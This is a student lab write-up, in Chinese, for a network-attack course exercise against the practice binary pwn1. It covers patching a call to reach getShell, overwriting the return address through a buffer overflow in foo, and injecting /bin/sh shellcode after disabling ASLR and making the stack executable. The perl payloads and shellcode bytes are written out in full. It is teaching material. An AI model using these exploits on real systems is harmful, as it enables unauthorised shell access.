2018-2019-2 20165330《网络对抗技术》Exp1 PC平台逆向破解

实验目标

本次实验的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数，foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

实验内容

手工修改可执行文件，改变程序执行流程，直接跳转到getShell
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数
注入一个自己制作的shellcode并运行这段shellcode

知识点描述

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

使用objdump -d 20165330zyx可查看可执行文件20165330zyx的反汇编代码及其对应机器码

可知：

NOP：无作用，英文"no operation"的简写，意思是"do nothing"(机器码90)

JNE：若不相等则跳(机器码75

JE：若相等则跳(机器码74

JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB），段内直接近转移Jmp near（机器码：E9），段内间接转移Jmp word（机器码：FF），段间直接(远)转移Jmp far（机器码：EA）

CMP：比较指令，cmp的功能相当于减法指令。它不保存结果，只是影响相应的标志位(机器码39)

掌握反汇编与十六进制编程器

反汇编指令：objdump -d objfile，关于其他用法可参考Linux下C程序的反汇编

关于管道，输入、输出重定向参考linux下输入输出重定向和管道符

十六进制编程器：用来以16进制视图进行文本编辑的编辑工具软件，其实我们只需要用各系统都兼容的vim编辑器就可以实现十六进制编辑的功能。具体步骤如下：

输入命令vi 20165330zyx查看可执行文件内容，发现大部分是我们没法理解的乱码；

按esc后在底行输入:%!xxd将显示模式切换为16进制模式;

进行相关操作后，输入:%!xxd -r转换16进制为原格式。

能正确修改机器指令改变程序执行流程

见实验步骤1

能正确构造payload进行bof攻击

见实验步骤3

返回目录

实验步骤

手工修改可执行文件，改变程序执行流程，直接跳转到`getShell`函数

用objdump -d 20165330zyx指令查看可执行文件的反汇编结果
锁定修改目标80484b5: e8 d7 ff ff ff call 8048491 <foo>
对比getShell函数的地址0804847d和foo函数的地址08048491，可以发现两地址之差为十六进制14;
call汇编指令的机器码为e8，我们可以锁定这部分，后面的d7 ff ff ff这四个字节为数值部分，代表指令跳转时需要与eip寄存器相加的偏移量
如果我们想让函数调用getShell，只需要修改d7 ff ff ff即可。由于数值存储方式为小端方式，所以锁定需要改的字节为d7，将它与地址差14做减法运算后的值为c3
下面修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff
- cp 20165330zyx 20165330pwn2复制文件
- 使用vi 20165330pwn2编辑可执行文件；
- 按esc后，输入%!xxd将显示模式切换为十六进制模式
- 在底行/d7查找需要修改的内容，将d7改为c3
- 转换16进制为原格式：:%!xxd -r
- 保存退出：:wq
此时我们反汇编可看到call指令调用的函数被改
输入./20165330pwn2运行该可执行文件

利用`foo`函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发`getShell`函数

可执行文件正常运行是调用foo函数，我们发现这个函数有Buffer overflow漏洞
foo函数读入字符串，但系统只预留了32字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址
正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba
确认输入字符串哪几个字符会覆盖到返回地址
用gdb 20165330pwn(pwn的副本）调试程序，输入有规律的字符串如1111111122222222333333334444444412345678，发生段错误产生溢出
info r查看寄存器eip的值，发现输入的1234被覆盖到堆栈上的返回地址
这是我们就将getShell的地址0x0804847d把1234替换即可
由于数据按小端存储，我们的正确输入为11111111222222223333333344444444\x7d\x84\x04\x08
因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括字符串的一个文件(\x0a表示回车)
使用16进制查看指令xxd查看input文件的内容是否如预期
确认无误后用(cat input;cat) | ./20165330pwn将input中的字符串作为可执行文件的输入

注入一个自己制作的`shellcode`并运行这段`shellcode`

下载execstack程序以便接下来可以设置易于攻击的环境：apt-get install execstack
准备工作
- 修改些设置
```
 execstack -s pwn1    //设置堆栈可执行
 execstack -q pwn1    //查询文件的堆栈是否可执行
```
- 查看地址随机化的状态：more /proc/sys/kernel/randomize_va_space
- 关闭地址随机化：echo "0" > /proc/sys/kernel/randomize_va_space
构造要注入的payload
- 目的：将shellcode代码写入buffer（缓冲区足够大），或把shellcode放在返回地址后（缓冲区小），把返回地址改为buffer的首地址
- 我们选择retaddr+nops+shellcode结构来攻击buf，在shellcode前填充nop的机器码90：
```
 perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
 //上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
 //特别提醒：最后一个字符千万不能是\x0a
```
- 注入：(cat input_shellcode;cat) | ./20165330pwn
- 再打开一个终端查看执行文件进程号ps -ef | grep 20165330pwn
- 启用gdb调试进程，attach 2222与进程建立连接
- 设置断点查看注入buf的内存地址
```
 disassemble foo //反汇编
 break *0x080484ae //设置断点
 //在另外一个终端中按下回车
```
- c继续
- info r esp查看esp栈顶指针的地址
- 使用x/16x 0xffffd33c查看其存放内容，看到01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址是 0xffffd340，即0xffffd33c加上4字节
- c-quit退出gdb调试，回到之前的终端输入exit退出命令，修改之前的\x4\x3\x2\x1部分：perl -e 'print "A" x 32;print"\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 再次运行(cat input_shellcode;cat) | ./20165330pwn后发现执行成功